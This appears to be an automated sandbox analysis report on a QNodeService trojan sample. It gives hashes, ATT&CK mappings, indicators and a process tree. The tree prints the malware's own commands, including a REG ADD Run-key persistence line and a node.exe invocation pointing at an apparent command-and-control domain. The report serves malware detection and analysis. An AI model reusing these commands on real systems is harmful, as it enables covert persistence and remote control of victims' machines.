qnodeservice | 0944b4a447e409d6b9af31421bddaa58484b70203c429945570ec533842be635

General

Target

review.delivery.information.jar
Size

82KB
MD5

f787589c52802370ce0a71033afbf356
SHA1

0e6ded18abbcc8b36ffbb649b0bc24f9624f86dd
SHA256

0944b4a447e409d6b9af31421bddaa58484b70203c429945570ec533842be635
SHA512

429b9bfd2973283f40998218b0d17b231b915e2a2a58d13fe33402e911541a7f0ee54829305cfbdcdeab7e435ce65999a538f5bb40eaa2f69e56a64bcd6bc936

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4708	node.exe
1892	node.exe
4756	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\61f863c4-c03f-4237-b783-53a64d82fc5d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab76-169.dat	js
behavioral2/files/0x000100000001ab76-172.dat	js
behavioral2/files/0x000100000001ab76-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4708	node.exe
4708	node.exe
4708	node.exe
4708	node.exe
1892	node.exe
1892	node.exe
1892	node.exe
1892	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe
4756	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 388	4760	java.exe	76
PID 4760 wrote to memory of 388	4760	java.exe	76
PID 388 wrote to memory of 4708	388	javaw.exe	80
PID 388 wrote to memory of 4708	388	javaw.exe	80
PID 4708 wrote to memory of 1892	4708	node.exe	82
PID 4708 wrote to memory of 1892	4708	node.exe	82
PID 1892 wrote to memory of 4756	1892	node.exe	83
PID 1892 wrote to memory of 4756	1892	node.exe	83
PID 4756 wrote to memory of 5084	4756	node.exe	85
PID 4756 wrote to memory of 5084	4756	node.exe	85
PID 5084 wrote to memory of 3008	5084	cmd.exe	86
PID 5084 wrote to memory of 3008	5084	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\review.delivery.information.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\de3dca82.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ideasexpress.website
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_hwHRIB\boot.js --hub-domain ideasexpress.website
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1892
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_hwHRIB\boot.js --hub-domain ideasexpress.website
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4756
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "61f863c4-c03f-4237-b783-53a64d82fc5d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5084
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "61f863c4-c03f-4237-b783-53a64d82fc5d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1892-173-0x000002DE5B040000-0x000002DE5B041000-memory.dmp

Filesize
4KB

Download
memory/4708-170-0x000001304D900000-0x000001304D901000-memory.dmp

Filesize
4KB

Download
memory/4756-177-0x000002D5492C0000-0x000002D5492C1000-memory.dmp

Filesize
4KB

Download

Analysis

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